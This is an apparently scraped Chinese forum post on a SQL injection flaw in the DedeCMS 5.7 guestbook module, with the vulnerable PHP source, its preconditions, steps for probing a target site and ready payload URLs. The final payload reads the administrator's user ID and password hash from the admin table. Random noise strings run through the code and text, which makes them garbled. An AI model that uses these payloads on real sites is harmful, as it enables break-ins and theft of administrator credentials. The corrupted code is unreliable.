dedecms5.7最新sql注射漏洞利用 guestbook.php

admin

影响版本为5.7

漏洞文件edit.inc.php具体代码：
3 m" u& z  l6 N9 u3 S
/ V: L0 I, F% _; z5 d6 O< ?php  

if(!defined('DEDEINC')) exit('Request Error!');  

. {! h, W% I- ~0 q) w   

if(!empty($_COOKIE['GUEST_BOOK_POS'])) $GUEST_BOOK_POS = $_COOKIE['GUEST_BOOK_POS'];  

else $GUEST_BOOK_POS = "guestbook.php";  
5 g5 F4 t. Z* C2 P- V
9 d4 h& J1 O; B% N8 M8 H, r2 U   

% [0 ]/ ]. C  K  G3 R: e8 O( F7 n$id = intval($id);  

if(empty($job)) $job='view';  

   

0 s5 n( v% t, T+ n' k3 V% hif($job=='del' && $g_isadmin)  
+ `/ |3 E: g* ]4 H. K5 M, B
  G! t0 i+ M- L# m{  
  T; B% g* z0 m3 D& F' e% L$ \% S
$dsql->ExecuteNoneQuery(" DELETE FROM `#@__guestbook` WHERE id='$id' ");  

4 d" _+ m- H4 B! `( LShowMsg("成功删除一条留言！", $GUEST_BOOK_POS);  
  J# f# o" G+ ]" M
exit();  

  E3 Z- N; i0 I% C. d, N# ^}  

, j' O# |" c( lelse if($job=='check' && $g_isadmin)  
$ ^9 v1 n) P3 E5 m# U- w7 @6 W
# L; D9 h# Y! O( y3 d{  

' W; n* L& p/ @. a' Q; w0 M, _, E/ [$dsql->ExecuteNoneQuery(" UPDATE `#@__guestbook` SET ischeck=1 WHERE id='$id' ");  

8 o- I' g5 f# N0 C0 x9 ^2 q- GShowMsg("成功审核一条留言！", $GUEST_BOOK_POS);  

exit();  

" w2 i5 ^6 @. b7 r) \7 _}  
2 a) J' ]; {- k' y; L
" ~( d1 w3 V# g; C; M7 h; @. w- w) Belse if($job=='editok')  

{  
5 M: {- ~" I. e2 s9 V# j% q
( B# F" B1 p' p$remsg = trim($remsg);  

9 R! R" m' |; X- a8 A' w$ Lif($remsg!='')  

{  
2 ^1 w$ b1 m5 j) r7 G
//管理员回复不过滤HTML By:Errorera blog:errs.cc  

' J  r# u8 w5 D( C% R9 dif($g_isadmin)  

{  
/ }6 w8 ^9 N7 W  v/ X- }9 q- r
$msg = "<div class='rebox'>".$msg."</div>\n".$remsg;  
# K/ x- Q* E/ w
( ^+ N1 `: u/ Q% n# m  @" K//$remsg <br /><font color=red>管理员回复：</font> }  

else

" v* Y- A% r! v$ B7 y2 ~{  
3 d, u3 d! n8 c' _! V: x
3 T8 R9 J  Z3 Y. a, p3 k$row = $dsql->GetOne("SELECT msg From `#@__guestbook` WHERE id='$id' ");  

$oldmsg = "<div class='rebox'>".addslashes($row['msg'])."</div>\n";  

$remsg = trimMsg(cn_substrR($remsg, 1024), 1);  

3 P0 s8 V3 n1 ?1 e$msg = $oldmsg.$remsg;  

}  
. Y9 s, ], h% N6 Q) _+ r% r
}  
, p( X0 }  `6 K! @, O% M* ?! |3 l
//这里没有对$msg过滤，导致可以任意注入了By:Errorera home:www.errs.cc  
4 g2 F; }) m$ B) g( p
$ c2 m; u) o: I( v; |+ V$dsql->ExecuteNoneQuery("UPDATE `#@__guestbook` SET `msg`='$msg', `posttime`='".time()."' WHERE id='$id' ");  

$ j, q2 q7 i% `* tShowMsg("成功更改或回复一条留言！", $GUEST_BOOK_POS);  

exit();  
) e. m9 v+ x! }# E4 L
4 R& ^) j9 h( {: g}  

//home:www.errs.cc  

if($g_isadmin)  

{  

$row = $dsql->GetOne("SELECT * FROM `#@__guestbook` WHERE id='$id'");  

) u* y, g2 i! u, @) r1 s! d: S( P8 y! Irequire_once(DEDETEMPLATE.'/plus/guestbook-admin.htm');  

, K9 V/ E, L" P- H}  
. J4 c7 ]0 ]2 V1 ?# X+ m) U
9 t, Q" F9 s! c5 Z2 y/ x1 selse
6 o0 l  t. m6 E) @/ d
7 m/ M/ M: F+ }7 G: o3 V3 V4 l{  

) C& b; d) S% h1 g/ B5 Y% O$row = $dsql->GetOne("SELECT id,title FROM `#@__guestbook` WHERE id='$id'");  

require_once(DEDETEMPLATE.'/plus/guestbook-user.htm');  
+ }, F# s  H: B6 o( V7 i2 G  j
; j, b) ]' R- n9 Y: E5 r' x} 漏洞成功需要条件：
1. php magic_quotes_gpc=off
2.漏洞文件存在 plus/guestbook.php dede_guestbook 表当然也要存在。

怎么判断是否存在漏洞：
先打开www.xxx.com/plus/guestbook.php 可以看到别人的留言，
然后鼠标放在 [回复/编辑] 上 可以看到别人留言的ID。那么记下ID
访问：

- T# T* W/ O4 P. t0 B# Nwww.xxx.com/plus/guestbook.php?a ... tok&msg=errs.cc存在的留言ID提交后如果是dede5.7版本的话 会出现 “成功更改或回复一条留言” 那就证明修改成功了
跳回到www.xxx.com/plus/guestbook.php 看下你改的那条留言ID是否变成了 errs.cc’ 如果变成了 那么证
7 |; w# @' _$ N; N# B3 l  B* K+ R

( n) ?. }- X9 f$ u! W8 Y/ G7 ]明漏洞无法利用应为他开启了 php magic_quotes_gpc=off
如果没有修改成功，那留言ID的内容还是以前的 那就证明漏洞可以利用。
5 S+ _3 g1 f  R% n& ^3 f那么再次访问
: `; O$ A7 @; c! X  Y" e+ R
www.xxx.com/plus/guestbook.php?a ... ;job=editok&id=存在的留言ID&msg=',msg=user(),email='然后返回，那条留言ID的内容就直接修改成了mysql 的user().
! O' r/ |4 h% x9 n: i& L
6 V$ F" h6 _% Y# {" K大概利用就是这样，大家有兴趣的多研究下！！
8 K9 F; P  |% L
最后补充下，估计有人会说怎么暴管理后台帐户密码，你自己研究下 会知道的。反正绝对可以暴出来(不可以暴出来我就不会发)！！
: G' f6 ~8 T- O7 J* C
view sourceprint?1 /plus/guestbook.php?action=admin&job=editok&id=146&msg=',msg=@`'`,msg=(selecT CONCAT(userid,0x7c,pwd) fRom `%23@__admin` LIMIT 0,1),email='